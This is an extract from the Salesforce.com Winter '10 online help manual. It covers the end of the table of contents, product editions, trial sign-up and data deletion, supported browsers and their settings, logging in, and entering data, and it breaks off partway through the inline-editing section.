What is Salesforce CRM and Google AdWords?...............................................................................................................2001
Salesforce CRM and Google AdWords Overview..............................................................................................................2002
Registration: New Google AdWords Account....................................................................................................................2003
Registration: Linking an Existing Google AdWords Account............................................................................................2004
Setting Up Lead Tracking...................................................................................................................................................2006
Viewing Tracked Leads with Salesforce CRM and Google AdWords................................................................................2009
Using Salesforce CRM and Google AdWords....................................................................................................................2011
Salesforce CRM and Google AdWords Concepts..............................................................................................................2012
Disconnecting Your Google AdWords Account..................................................................................................................2013

Salesforce for Google Apps.............................................................................................................2015


Google Apps Overview.......................................................................................................................................................2015
Getting Started with Salesforce and Google Apps..............................................................................................................2017
Getting Started With Salesforce and Google Apps Supported...........................................................................................2019
Setting Up Google Apps in Salesforce.com........................................................................................................................2022
Creating Google Apps Accounts.........................................................................................................................................2023
Using Google Docs in Salesforce.com.................................................................................................................................2024
Activating Google Docs in Salesforce.com..........................................................................................................................2025
Adding Google Docs to Salesforce.com..............................................................................................................................2026
Editing Google Doc Links..................................................................................................................................................2029
Installing the Add Google Doc to Salesforce.com Browser Button....................................................................................2030
Associating Google Docs with Salesforce.com Records......................................................................................................2031
Activating the Google Docs Tab.........................................................................................................................................2032

xvii
Table of Contents
Using Gmail in Salesforce.com............................................................................................................................................2033
Using Google Talk in Salesforce.com..................................................................................................................................2034

Salesforce to Salesforce...................................................................................................................2036
Salesforce to Salesforce Overview.......................................................................................................................................2036
Enabling Salesforce to Salesforce........................................................................................................................................2037
Configuring Salesforce to Salesforce...................................................................................................................................2038
Inviting Business Partners to Connect using Salesforce to Salesforce.................................................................................2039
Accepting or Rejecting an Invitation to Join Salesforce to Salesforce.................................................................................2041
Connections Home Page.....................................................................................................................................................2042
Managing Connections.......................................................................................................................................................2043
Connection Templates in Salesforce to Salesforce...............................................................................................................2044
Sharing Records Using Salesforce to Salesforce..................................................................................................................2047
Subscribing to Objects in Salesforce to Salesforce...............................................................................................................2048
Subscribing to Fields in Salesforce to Salesforce.................................................................................................................2049
Accepting Records Shared from a Connection....................................................................................................................2051
Publishing Objects in Salesforce to Salesforce....................................................................................................................2055
Publishing Fields in Salesforce to Salesforce.......................................................................................................................2056
Making Records Available to a Connection........................................................................................................................2058
Tips for Using Salesforce to Salesforce................................................................................................................................2063

Connection Finder.........................................................................................................................2068
About Connection Finder...................................................................................................................................................2068
Setting Up Connection Finder............................................................................................................................................2068
Finding Out if Your Partners Use Salesforce.com...............................................................................................................2070

Search and Tags..............................................................................................................................2073


Search Overview..................................................................................................................................................................2073
How Search Works..............................................................................................................................................................2074
Searching Records...............................................................................................................................................................2075
Search Fields.......................................................................................................................................................................2076
Search Wildcards and Operators.........................................................................................................................................2084
Search Tips..........................................................................................................................................................................2086
Viewing Search Results.......................................................................................................................................................2087
Filtering Search Results.......................................................................................................................................................2090
Lookup Dialog Search.........................................................................................................................................................2091
Configuring Lookups..........................................................................................................................................................2092
Managing Salesforce Knowledge Synonyms.......................................................................................................................2094
About Tagging.....................................................................................................................................................................2097
Tagging Records..................................................................................................................................................................2098
Browsing, Searching, and Managing Tags...........................................................................................................................2099
Tagging Limits....................................................................................................................................................................2101

xviii
Table of Contents

Solutions........................................................................................................................................2102
Solutions Overview.............................................................................................................................................................2102
What are HTML Solutions?...............................................................................................................................................2102
What are Multilingual Solutions?.......................................................................................................................................2104
What are Suggested Solutions?...........................................................................................................................................2108
Solutions Home...................................................................................................................................................................2110
Viewing Solution Lists........................................................................................................................................................2111
Displaying and Selecting Solutions.....................................................................................................................................2112
Creating Solutions...............................................................................................................................................................2114
Reviewing Solutions............................................................................................................................................................2115
Categorizing Solutions........................................................................................................................................................2118
Solution Fields....................................................................................................................................................................2119
Deleting Solutions...............................................................................................................................................................2120
Searching for Solutions.......................................................................................................................................................2121

Team Selling..................................................................................................................................2124
Sales Teams Overview.........................................................................................................................................................2124
Setting Up Team Selling.....................................................................................................................................................2125
Setting Your Default Sales Team.........................................................................................................................................2126
Adding Your Default Sales Team........................................................................................................................................2127
Adding Sales Team Members..............................................................................................................................................2128
Editing Sales Team Members..............................................................................................................................................2129
Removing Sales Team Members..........................................................................................................................................2130
Sales Team Fields................................................................................................................................................................2130

Territory Management....................................................................................................................2131
Territory Management Overview........................................................................................................................................2131
Enabling Territory Management.........................................................................................................................................2132
Managing Territories...........................................................................................................................................................2134
Configuring Territory Management Settings......................................................................................................................2135
Building Your Territory Hierarchy......................................................................................................................................2136
Displaying and Editing Territories......................................................................................................................................2137
Creating Territories.............................................................................................................................................................2139
Territory Fields....................................................................................................................................................................2140
Deleting Territories.............................................................................................................................................................2142
Managing Users in Territories.............................................................................................................................................2143
Adding Forecast Managers to Territories............................................................................................................................2146
Managing Account Assignment Rules................................................................................................................................2147
Assigning Opportunities to Territories................................................................................................................................2154
Manually Assigning Accounts to Territories.......................................................................................................................2157

Salesforce for Wealth Management..................................................................................................2159

xix
Table of Contents
Salesforce for Wealth Management Overview....................................................................................................................2159
Getting Started With Salesforce for Wealth Management.................................................................................................2160
Navigating the Salesforce for Wealth Management App....................................................................................................2163
Managing Wealth Management Clients.............................................................................................................................2164
Salesforce for Wealth Management Reports and Dashboards.............................................................................................2166

Salesforce Mobile...........................................................................................................................2168
Salesforce Mobile Overview................................................................................................................................................2168
Mobile Lite Overview.........................................................................................................................................................2168
Installing the Mobile Application.......................................................................................................................................2171
Managing Mobile Configurations.......................................................................................................................................2174
Creating Mobile Configurations.........................................................................................................................................2178
Defining Data Sets..............................................................................................................................................................2181
Testing Mobile Configurations...........................................................................................................................................2187
Editing Mobile Object Properties.......................................................................................................................................2189
Managing Mobile Views.....................................................................................................................................................2191
Managing Mobile Tabs.......................................................................................................................................................2193
Setting Up Mobile Dashboards...........................................................................................................................................2197
Setting Up Mobile Reports.................................................................................................................................................2198
Setting Up Mobile Content................................................................................................................................................2199
Creating Mobile Links........................................................................................................................................................2200
Sending Emails to Mobile Users.........................................................................................................................................2202
Managing Mobile Devices..................................................................................................................................................2202
Customizing Mobile Settings..............................................................................................................................................2209

Connect for Office..........................................................................................................................2211


Force.com Connect for Microsoft Office® Overview..........................................................................................................2211
Installing Connect for Office..............................................................................................................................................2211
Using Excel Integration.......................................................................................................................................................2212
Using Word Integration......................................................................................................................................................2216

Connect Offline.............................................................................................................................2218
Force.com Connect Offline Overview.................................................................................................................................2218
Installing Connect Offline...................................................................................................................................................2219
Managing Connect Offline Briefcase Configurations.........................................................................................................2220
What is Your Default Connect Offline Briefcase Contents?...............................................................................................2228
Logging in to Connect Offline............................................................................................................................................2230
Synchronizing Your Briefcase..............................................................................................................................................2231
Working with Connect Offline...........................................................................................................................................2233
Troubleshooting Connect Offline.......................................................................................................................................2235

Connect for Outlook......................................................................................................................2240


Force.com Connect for Microsoft Outlook® Overview.......................................................................................................2240

xx
Table of Contents
Installing Connect for Outlook...........................................................................................................................................2241
Using Connect for Outlook.................................................................................................................................................2244
Associating Outlook Items with Salesforce.com Records...................................................................................................2251
Synchronizing Your Contacts and Activities with Connect for Outlook.............................................................................2253
Working with Person Accounts in Connect for Outlook....................................................................................................2256
Setting Your Sync Profile.....................................................................................................................................................2258
Setting Connect for Outlook Options.................................................................................................................................2260

Connect for Lotus Notes.................................................................................................................2269


Force.com Connect for Lotus Notes Overview...................................................................................................................2269
Installing Connect for Lotus Notes.....................................................................................................................................2270
Using Connect for Lotus Notes..........................................................................................................................................2273
Adding Outbound Lotus Notes Email Messages to Salesforce.com...................................................................................2275
Adding Sent or Received Lotus Notes Email Messages to Salesforce.com.........................................................................2276
Creating Cases from Lotus Notes Email Messages.............................................................................................................2282
Synchronizing Your Contacts and Activities with Connect for Lotus Notes......................................................................2283
Working with Person Accounts in Connect for Lotus Notes..............................................................................................2287
Setting Your Sync Profile.....................................................................................................................................................2288
Setting Connect for Lotus Notes Options..........................................................................................................................2289

FAQ...............................................................................................................................................2297
FAQ List.............................................................................................................................................................................2297
Getting Started FAQ...........................................................................................................................................................2307
Activities FAQ.....................................................................................................................................................................2312
Package Distribution FAQs.................................................................................................................................................2314
Campaigns FAQ..................................................................................................................................................................2317
Cases FAQ..........................................................................................................................................................................2319
Console FAQ.......................................................................................................................................................................2320
Customer Support FAQ......................................................................................................................................................2321
General Problems FAQ.......................................................................................................................................................2321
Importing FAQ...................................................................................................................................................................2323
Leads FAQ..........................................................................................................................................................................2337
Connect for Lotus Notes FAQ............................................................................................................................................2339
Mobile FAQ........................................................................................................................................................................2340
Connect for Outlook FAQ..................................................................................................................................................2344
Portals FAQ ........................................................................................................................................................................2346
Reporting FAQ...................................................................................................................................................................2348
Salesforce CRM and Google AdWords FAQ.....................................................................................................................2349
Security & Scalability FAQ.................................................................................................................................................2353
Solutions FAQ.....................................................................................................................................................................2355
Territory Management FAQ...............................................................................................................................................2356
Email Approval Response FAQ..........................................................................................................................................2359

Printable Tip Sheets & User Guides................................................................................................2361

xxi
Table of Contents
Printable Tip Sheets & User Guides...................................................................................................................................2361

Accessibility...................................................................................................................................2365
Accessibility Overview........................................................................................................................................................2365
Enabling Accessibility Mode...............................................................................................................................................2368

Checkout.......................................................................................................................................2370
Managing Billing & Licenses..............................................................................................................................................2370

Glossary.........................................................................................................................................2374
Glossary...............................................................................................................................................................................2374

Index...............................................................................................................................................................................................2400

xxii
What's New in Salesforce.com?

What's New in Salesforce.com?


Current Release
The latest release includes new features for sales, support, and marketing users as well as enhancements to the platform. For
more information, visit the Winter '10 community page.
For a complete listing of new features along with implementation tips and best practices, see:
• Winter '10 Release Notes
• Force.com Connect for Lotus Notes Release Notes
• Force.com Connect for Office Release Notes
• Force.com Connect Offline Release Notes
• Force.com Connect for Outlook Release Notes

Past Releases
For information about new features introduced in previous releases, see:
• Summer '09 Release Notes
• Spring '09 Release Notes
• Winter '09 Release Notes
• Summer '08 Release Notes
• Spring '08 Release Notes
• Winter '08 Release Notes
• Summer '07 Release Notes
• Spring '07 Release Notes
• Force.com Mobile 7.0 for BlackBerry Release Notes
• Force.com Mobile 6.1 for Windows Mobile 5 Release Notes
• Winter '07 Release Notes
• Summer '06 Release Notes
• Winter '06 Release Notes
• Force.com Mobile 6.0 Release Notes
• Summer '05 Release Notes
• Winter '05 Release Notes
• Summer '04 Release Notes
• Spring '04 Release Notes
• Winter '04 Release Notes
• Summer '03 Release Notes

23
OVERVIEW

Introduction
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.

Welcome to the award-winning cloud-computing provider designed for you to manage your customer relationships, integrate
with other systems, and build your own applications. Salesforce.com includes the following products and services:
Salesforce.com Applications
Salesforce.com includes prebuilt applications for customer relationship management (CRM) ranging from sales force
automation to partner relationship management, marketing, and customer service.

Force.com Platform
The Force.com platform is the first platform as a service (PaaS), enabling developers to create and deliver any kind of
business application entirely on-demand and without software. The platform also includes easy-to-use, point-and-click
customization tools to help you create solutions for your unique business requirements, without any programming
experience.

AppExchange
AppExchange is a marketplace featuring hundreds of cloud applications created by salesforce.com customers, developers,
and partners. Many of the applications are free and all of them are pre-integrated with Salesforce.com, enabling you to
easily and efficiently add functionality.

Salesforce.com Community
Salesforce.com provides training, support, consulting, events, best practices, and discussion boards to help you be
successful. Visit Salesforce.com Community.

See Also:
What Is an Edition?
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition

24
Overview What Is an Edition?

What Is an Edition?
Your Edition determines which features and functionality you can access. To determine which Edition you are using, check
the title bar of your browser.

Salesforce.com offers several bundles of its products and services, each geared toward a different set of business needs. These
bundles, called Editions, all have the same look and feel, but vary by feature, functionality, and pricing. For example, a feature
that is available in Professional Edition for an additional fee may be included in Enterprise Edition.
For a comparison chart of Editions and their features, see Selecting the right Salesforce.com Edition.
The online help describes all generally available features, including those that may not be available in your Edition. Refer to
the “Available in:” line at the top of a help topic to see if it applies to your Edition.

See Also:
Introduction
Personal Edition
Group Edition
Professional Edition
Enterprise Edition
Unlimited Edition
Developer Edition
Viewing User License Types

Personal Edition
Personal Edition is a CRM solution designed for an individual sales representative or other single user. Personal Edition
provides access to key contact management features such as accounts, contacts, and synchronization with Microsoft Outlook®.
It also provides sales representatives with sales tools such as opportunities. Beginning with the Summer '09 release which
occurred in June 2009, new organizations do not include access to opportunities. Organizations that signed up prior to June
2009 still have access to opportunities.

Contact Manager
Contact Manager is designed for small businesses and provides access to key contact management features including accounts,
contacts, activities, calendars, notes and attachments, and reports. Contact Manager also provides straightforward and easy-to-use
customization options.

25
Overview Group Edition

Group Edition
Salesforce.com Group Edition is designed for small businesses and workgroups with a limited number of users. Group Edition
users can manage their customers from the start of the sales cycle through closing the deal to providing customer support and
service. Group Edition offers access to accounts, contacts, opportunities, leads, cases, dashboards, and reports.

Professional Edition
Salesforce.com Professional Edition is designed for businesses who need full-featured CRM functionality. Professional Edition
includes straightforward and easy-to-use customization, integration, and administration tools to facilitate any small- to
mid-sized deployment.

Enterprise Edition
Salesforce.com Enterprise Edition is designed to meet the needs of large and complex businesses. In addition to all of the
functionality available in Professional Edition, Enterprise Edition organizations get advanced customization and administration
tools that can support large-scale deployments. Enterprise Edition also includes access to the Web services API so you can
easily integrate with back-office systems.

See Also:
Administrator setup guide: Enterprise Edition Upgrade Guide
Force.com API Usage Limits

Unlimited Edition
Unlimited Edition is salesforce.com's flagship solution for maximizing CRM success and extending that success across the
entire enterprise through the Force.com platform. Unlimited Edition customers benefit from new levels of platform flexibility
for managing and sharing all of their information on demand.
Unlimited Edition includes all Enterprise Edition functionality plus Premier Support, full mobile access, unlimited custom
apps, increased storage limits, and more.

See Also:
Enterprise Edition
Force.com API Usage Limits

Developer Edition
Developer Edition provides access to the Force.com platform and API. It allows developers to extend the Salesforce.com
system, integrate with other applications, and develop new tools and applications. Developer Edition provides access to many
of the features available with Enterprise Edition on page 26.

26
Overview Force.com Free Edition

Salesforce.com does not provide technical support for Developer Edition. You can solicit help from the developer community
message boards available to registered users via the Force.com developer website - developer.force.com. Documentation for
Developer Edition is available from the Technical Library.

See Also:
Force.com API Usage Limits
Force.com Free Edition

Force.com Free Edition


Force.com Free Edition is a Salesforce.com organization designed for developing and deploying one Force.com app for up to
100 users. You can upgrade your Free Edition account to a paid subscription if you need to deploy more custom applications
to more users in the future.
Free Edition includes most Force.com features but does not provide users with Salesforce.com CRM functionality and standard
objects, such as accounts, contacts, campaigns, leads, opportunities, forecasts, products, cases, and solutions.
The following table shows the differences and similarities between Free Edition and Salesforce.com's other development
environment, Developer Edition:

Free Edition Developer Edition


Force.com Development Yes Yes
Force.com Deployment Yes No
Upgradeable Yes No
CRM No Yes
Self-Service No Yes
Mobile Platform No Yes
Customer Portal No Yes
Partner Portal No Yes
Developer preview features No Yes
Multi-language support No Yes

Salesforce.com does not provide technical support for Free Edition. You can solicit help from the developer community
message boards available to registered users via the Force.com developer website—developer.force.com.

See Also:
Developer Edition

27
GETTING STARTED

Signing Up
Available in: All Editions

The first person in your organization to sign up becomes the system administrator. During sign-up, the administrator enters
basic information about your organization. After evaluating the system, administrators can purchase user licenses or upgrade
to another Edition, if desired. Note that Developer Edition administrators do not have the option to upgrade.
If necessary, you can assign another user to the System Administrator profile when you add users (see Adding New Users on
page 128). Note that Personal Edition administrators do not have the option to add other users.
Note: Please note that features included in your Trial Edition may not be available in the Edition you choose to
purchase.
If you set up multiple users in your Trial Edition and later choose to convert to Personal Edition, all users with the
exception of the original system administrator will become inactive.

See Also:
Deleting Trial Data
Starting a New Trial
Adding or Subtracting User Licenses

Deleting Trial Data


Available in: All Editions

User Permissions Needed


To delete trial data: “Modify All Data”

When you sign up for Salesforce.com, your organization is initially populated with some sample data. During your trial period,
administrators can delete all of this sample data plus all of your organization’s data at one time.
To delete all of the existing data in a trial organization:

1. Click Setup ➤ Data Management ➤ Delete All Data. This link is available only during your trial period.
2. Enter the requested text stating that you understand that all of the data in your organization will be deleted. This includes
both sample data and data you have entered. Your user and administration setup is not affected.
3. Click Submit.

28
Getting Started Signing Up

After your trial period has ended, you can delete any sample data manually or by using the Mass Delete feature (see Deleting
Mass Data on page 260).

See Also:
Signing Up
Starting a New Trial

Starting a New Trial


Available in: Contact Manager, Group, Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To start a new trial: “Modify All Data”

When you sign up for Salesforce.com, you have the option to choose an industry-specific template which populates your
organization with sample data. During your trial period, administrators can start a new trial with a blank template. Please note
that in order to start a new trial, you must abandon your current trial, including all data and customizations.
An administrator can start a new trial for organizations that meet the following conditions:

• Less than 1000 rows of data


• No additional user licenses added by salesforce.com
• No additional functionality enabled by salesforce.com

To start a new trial:

1. Click Setup ➤ Data Management ➤ Start a New Trial. This link is available only during your trial period.
2. Select your language and template preferences.
3. Enter the requested text stating that you want to abandon your current trial organization and all of its data. This includes
both sample data and data you have entered.
4. Check the box to confirm that you acknowledge that all of your data for the current trial will be lost.
5. Click Submit.
6. When the confirmation page appears, click Submit.

Note: By choosing to start a new trial, you are abandoning your current trial organization including all existing data
and customizations. You will no longer be able to access the trial or data. Only usernames will be preserved.

See Also:
Signing Up
Deleting Trial Data

29
Getting Started Supported Browsers

Supported Browsers
Available in: All Editions

The Salesforce.com online application supports the following browsers:

Browser Comments
Mozilla Firefox version 3.0 Salesforce.com recommends using Firefox 3.0 for best performance. For
configuration recommendations, see Configuring Firefox on page 30.
Microsoft® Internet Explorer versions 6.0, 7.0, Salesforce.com strongly recommends using Internet Explorer version 8.0 over
and 8.0 versions 6.0 and 7.0. Apply all Microsoft® hotfixes. For configuration
recommendations, see Configuring Internet Explorer on page 32.
Apple® Safari version 3.2 Supported on Windows XP and Mac OS X version 10.4 and later. There are
no browser setting recommendations for Safari.

Important: For all browsers you must enable JavaScript, cookies, and SSL 3.0.

Certain features in the Salesforce.com online application—as well as some desktop clients, toolkits, and adapters—have their
own browser requirements. For example:

• Internet Explorer is the only supported browser for the standard mail merge feature.
• Internet Explorer is the only supported browser when installing Salesforce Mobile on a Windows Mobile device.
• Internet Explorer is the only supported browser for Connect Offline.
• Safari is not supported for the Salesforce CRM Call Center CTI Toolkit.
• Firefox 3.0 is recommended when using the enhanced page layout editor.

Refer to the documentation for those products for specific information. Other requirements can be found in Salesforce.com
System Requirements.

Configuring Firefox
Available in: All Editions

For best performance, salesforce.com recommends using the Mozilla Firefox 3.0 browser.
Required Settings
The following settings are required:

1. Click Tools ➤ Options.


2. Enable JavaScript:

30
Getting Started Supported Browsers

a. Go to the Content panel.


b. Select the Enable JavaScript and Enable Java options.

3. Accept cookies:

a. Go to the Privacy panel.


b. Select the Accept Cookies from sites option.
c. For the Keep until option, select they expire.

4. Set encryption protocols:

a. Go to the Advanced panel.


b. Click the Encryption tab.
c. Select the Use SSL 3.0 option.

5. Click OK.

Advanced Settings
Optionally, configure advanced caching preferences to maximize performance:

1. Type about:config in the browser's location bar, and then press Enter.
2. If a warning displays, click I'll be careful, I promise!
3. Search for the following preferences and set them to the recommended value by double-clicking the preference name.
Changes take effect immediately.
4. Change how the browser retains common resources across requests by setting the following caching preferences.

Preference Recommended Value Default Value


browser.cache.check_doc_frequency 3 3
browser.cache.disk.capacity 50,000 or more; increase to use more hard disk 50,000
space
browser.cache.disk.enable True True
browser.cache.disk_cache_ssl True False
browser.cache.memory.enable True True
network.http.use-cache True True

Note: You can set some of these preferences by clicking Tools ➤ Options in the Firefox browser. Refer to
Firefox Help for details.

Tip: Setting privacy.sanitize.sanitizeOnShutdown to “True” causes the cache to clear when Firefox shuts down. This
increases privacy, but may decrease performance.
To view the contents of your cache, type about:cache in the Firefox location bar and press Enter.

31
Getting Started Supported Browsers

Refer to MozillaZine Knowledge Base and Firefox Support Home Page for more information on these and other
preferences.

See Also:
Supported Browsers

Configuring Internet Explorer


Available in: All Editions

Salesforce.com supports the use of Microsoft® Internet Explorer versions 6.0, 7.0, and 8.0. However, for better performance,
salesforce.com strongly recommends version 8.0 over the other supported versions.
To maximize the performance of Internet Explorer, set the following options in the Internet Options dialog box, which you
can open by clicking Tools ➤ Internet Options:
General Tab

1. From the General tab, click Settings under Browsing History (Temporary Internet Files for version 6.0).
2. For the Check for newer versions of stored pages option, select Automatically.
3. For the Disk space to use option (Amount of disk space to use in version 6.0), enter at least 50 MB.

Security Tab

1. From the Security tab, click Custom Level under Internet and scroll to the Scripting section.
2. Make sure the Active Scripting option is enabled. JavaScript depends on this setting being enabled.

Privacy Tab

1. From the Privacy tab, click Advanced.


2. Select the Override automatic cookie handling option.
3. Select the Always allow session cookies option.

Advanced Tab
From the Advanced tab, scroll to the Security section and do the following:

• Do not select the Do not save encrypted pages to disk option.


• Select the Use SSL 3.0 option.

32
Getting Started Logging In

Tip: The Empty Temporary Internet Files folder when browser is closed option causes the
cache to clear when Internet Explorer is shut down. This increases privacy, but may decrease performance.

See Also:
Supported Browsers

Logging In
Available in: All Editions

Your administrator must first add you as a user of the service. An initial email is then sent to you with your username and
temporary password. When you first log in, you must change your password as well as select and answer a security question
that will be used for authentication purposes if you ever forget your password. See Changing Your Password on page 60 for
more information on passwords.
If you have forgotten your password, see Retrieving Forgotten Passwords on page 62.
If you have a number of failed login attempts, your username may become locked out, depending on your organization’s
settings. (See Setting Password Policies on page 218.) If your username becomes locked out, contact your administrator.
If your administrator has set a password expiration, you must change your password periodically.
You may have to activate your computer to successfully log in to Salesforce.com whenever your password is changed or reset,
or when you log in from a computer you have not used to access Salesforce.com before. Activating your computer allows
Salesforce.com to verify your identity and prevent unauthorized access. To activate your computer:

1. When prompted on the login page, click the Send Activation Link button. Salesforce.com sends an activation email to
the email address specified on your Salesforce.com user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.

For more information, see Setting Login Restrictions on page 175.


Note: If your session is inactive for a period of time, the system prompts you to continue working or log out. If you
do not respond to this time-out prompt, the system displays a login page. See Monitoring Setup Changes on page 241
for instructions on disabling this prompt.

33
Getting Started Using the Application

Using the Application


Available in: All Editions

With the web-based interface, you can enter and find data at various points. Typically, you start at the Home tab and preview
your scheduled events and tasks. From there, you can choose one of the major tabs to add, edit, or review information.
For you to start using the service, all you have to do is:

• Edit your personal setup. (See Editing Your Personal Information on page 50.)
• Import your existing contacts and notes, if necessary. (See Import My Contacts on page 319.)

If you are an administrator for multiple users, all you have to do is:

• Review the Rollout Guide to set up your organization and ensure a successful rollout. The Rollout Guide is not included
with Personal or Developer Editions.
• Set up your organization. (See Setting Up Your Organization on page 70 and Setting Up Customer Support on page 673.)
• Import existing leads, contacts, and accounts for your entire organization, if necessary. (See Importing Overview on page
288.)

Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.

See Also:
Setting Your Language
Error Messages
Entering Data

Setting Your Language


Available in: All Editions

The Web-based user interface is available in multiple languages to meet the needs of different users. Connect Offline, Connect
for Outlook, and Connect for Office are also available in multiple languages. See What languages does Salesforce.com support?
on page 2307.
Each user can change his or her personal language setting to use the application in one of the supported languages. For details
on setting your personal language, see Editing Your Personal Information on page 50. In addition, the administrator can
select a default organization language which applies to all new users until they select their personal language. For more
information, see Company Information on page 73.
All screen text, images, buttons, and online help display in the user’s chosen language. Text that is entered by users remains
in the language in which it was entered. However, some setup items that are manually entered by an administrator can be
translated via the translation workbench.

34
Getting Started Entering Data

The translation workbench lets you manually translate specific administration setup items into all of the supported languages.
This enables your users to work in the language in which they are most proficient, increasing data quality and productivity.
For example, you can define a set of picklist values in English and then translate those values so your French users can have
those values in French. For more information, see Setting Up Translation Workbench on page 121.

See Also:
Using the Application
Company Information Fields

Error Messages
While using the service, you may occasionally receive an error message. Typically, this occurs when you attempt to view, edit,
or delete information to which you do not have access. The message page that displays should explain the reason for the error.
Simply click your browser’s Back button to return to the previous page. If you feel you have incorrectly received an error, click
Help & Training at the top of any page and select the My Cases tab to submit your issue directly to Customer Support.

See Also:
Using the Application

Entering Data
Available in: All Editions

Entering data in Salesforce.com is much like entering data in any web page. You may choose to begin by entering data in any
of the major tabs, or by importing your data. Salesforce.com is a very flexible service that allows you to create, edit, and track
data in many ways.
Note the following:

• As you enter and edit data, remember to click Save so you don’t lose your changes.
• Required fields are marked with red on editable pages. All other fields are optional and may be left blank.
• If your organization enabled inline editing, you can edit fields directly on the detail page.

See Also:
Entering Dates and Times
Entering Currency
Entering Phone Numbers
Selecting Picklist Values

35
Getting Started Entering Data

Entering Dates and Times


Available in: All Editions

Many fields allow you to enter a date or a time in the format specified by your Locale setting. For additional information
about these formats, see What format is used for dates, times, and names in Salesforce.com? on page 2309.
To enter a time, do one of the following:

• Click the link next to the field on the edit page to enter the current time.
• Manually enter a time in the format allowed by your Locale setting.

To enter a date:

1. Put your cursor in the date or date/time field on an edit page.


2. Choose a date from the calendar that opens, or manually enter a date.
All dates display with four digits for the year, although you can enter two or four digits according to these guidelines
(examples shown in the English (United States) locale):

• Enter two digits from 00 to 59 for years 2000 - 2059, for example, 12/30/40 is saved as December 30, 2040
• Enter two digits from 60 to 99 for years 1960 - 1999, for example, 12/30/60 is saved as December 30, 1960
• Enter four digits for any year from 1700 to 4000

3. Optionally, enter a special date value.


If your locale and language are English, you can use the following special date values for entering dates:

Special Date Value Range


Yesterday The day before the current day.
Today The current day.
Tomorrow The day after the current day.
Monday The next Monday. If the current day is Monday, the current
day.
Tuesday The next Tuesday. If the current day is Tuesday, the current
day.
Wednesday The next Wednesday. If the current day is Wednesday, the
current day.
Thursday The next Thursday. If the current day is Thursday, the
current day.
Friday The next Friday. If the current day is Friday, the current
day.
Saturday The next Saturday. If the current day is Saturday, the current
day.

36
Getting Started Entering Data

Special Date Value Range


Sunday The next Sunday. If the current day is Sunday, the current
day.
mm/dd The values for the day and month and the current year. For
example, 12/31 would expand to 12/31/2007 if the year is
2007.
mm.dd The values for the day and month and the current year. For
example, 12.31 would expand to 12/31/2007 if the year is
2007.
mm-dd The values for the day and month and the current year. For
example, 12-31 would expand to 12/31/2007 if the year is
2007.

If the field is a date/time field, the time is set to the current time. These special date values are not case sensitive.
Tip: You can set these special date values using the first three letters. For example, “yes” for yesterday or “mon”
for Monday.

Minimum and Maximum Dates


Only dates within a certain range are valid. The earliest valid date is 1700-01-01T00:00:00Z GMT, or just after midnight on
January 1, 1700. The latest valid date is 4000-12-31T00:00:00Z GMT, or just after midnight on December 31, 4000.
Note: These values are offset by your timezone. For example, in the Pacific timezone, the earliest valid date is
1699-12-31T16:00:00, or 4:00 PM on December 31, 1699.

See Also:
Entering Data
Entering Currency
Entering Phone Numbers
Selecting Picklist Values

Entering Currency
Available in: All Editions

In currency fields such as Quota or Annual Revenue, the Currency Locale setting in your Company Information
determines the format and currency type of amounts you enter. For Group, Professional, Enterprise, and Unlimited Edition
organizations that use multiple currencies, the format and currency type is determined by the Currency field in the record.
See Using Multiple Currencies on page 87.

37
Getting Started Entering Data

When you enter a monetary amount (or any other type of number), you can use the shortcuts k, m, or b to indicate thousands,
millions, or billions. For example, when you enter 50k it displays as 50,000. However, these shortcuts do not work for filter
criteria.

See Also:
Entering Data
Entering Dates and Times
Entering Phone Numbers
Selecting Picklist Values

Entering Phone Numbers


Available in: All Editions

When you enter phone numbers in various phone fields, Salesforce.com preserves whatever phone number format you enter.
However, if your Locale is set to English (United States) or English (Canada), ten digit phone numbers and eleven digit
numbers that start with “1” are automatically formatted as (800) 555-1212 when you save the record. If you do not want this
formatting for a ten or eleven digit number, enter a “+” before the number, for example, +49 8178 94 07-0.
Note: If your ten and eleven digit phone numbers have Salesforce.com’s automatic format, you may need to enter the
parentheses when specifying filter conditions in areas such as custom reports, custom views, and lead assignment rules,
for example, “Phone starts with (415).”

See Also:
Entering Data
Entering Dates and Times
Entering Currency
Selecting Picklist Values

Selecting Picklist Values


In Salesforce.com, you may encounter a few different types of picklist fields:

• Standard picklists - Click the down arrow to select a single value.


• Multi-select picklists - Double click on any available value in one scrolling box to add that value to the selected scrolling
box on the right. You can choose a single value or multiple values. To select values within a range, select the first value and
click the last value in the range while holding down the SHIFT key; then, click the arrow to add selections to the selected
box.

38
Getting Started Entering Data

• Dependent and controlling picklists work in conjunction with each other. The value chosen in the controlling picklist
affects the values available in its dependent picklist. Both controlling and dependent picklists are indicated on edit pages
by an icon. Hover your mouse over the icon to display the name of the controlling or dependent picklist.

See Also:
Entering Data
Entering Dates and Times
Entering Currency
Entering Phone Numbers

Editing Data Using Inline Editing


Inline editing settings available in: All Editions

User Permissions Needed


To enable inline editing: “Customize Application”

Inline editing allows users to quickly change field values on a record's detail page, saving the user from having to access the
record's edit page first.
To enable inline editing for your organization, see Customizing User Interface Settings on page 411.
To edit a record using inline editing once it has been enabled for your organization:

1. Navigate to the detail page of the record you want to edit.


2. Hover your mouse over the field you want to change. One of the following occurs:

• If inline editing can be used to edit the field, Salesforce.com displays a pencil icon ( ).
• If inline editing cannot be used to edit the field but the field is editable by other means, no icon appears.
• If the field cannot be edited by any means (such as the Last Modified By field), Salesforce.com displays a lock icon
( ).

3. Double-click inside the highlighted region next to the field you want to change. The field changes to edit mode.
Salesforce.com displays compound fields (such as addresses, first and last names, and dependent picklists) in a dialog box
so that all portions of the field can be edited.
4. Enter the new value.
5. Click away from the field to confirm your change and continue making additional edits. If you are editing a field that is
not a text area field, you can also press Enter to confirm your change. Confirmed changes display in bold orange text.
6. Press Enter again or click Save to commit all confirmed changes.
Important: Salesforce.com does not save confirmed changes to field values until you commit them by pressing
the Enter key a second time or clicking Save. Navigating away from the page without committing changes cancels
all edits made to the record.

39
Getting Started Entering Data

Note the following:

• If you have made changes to a record but have not yet saved it, you can undo individual changes without losing the rest of
your changes on the page. To undo a single edit, click the undo icon ( ) to the right of the desired field's changed value.
This reverts the field back to its previous value.
• You can use inline editing to change the values of fields on records for which you have read-only access, either via field-level
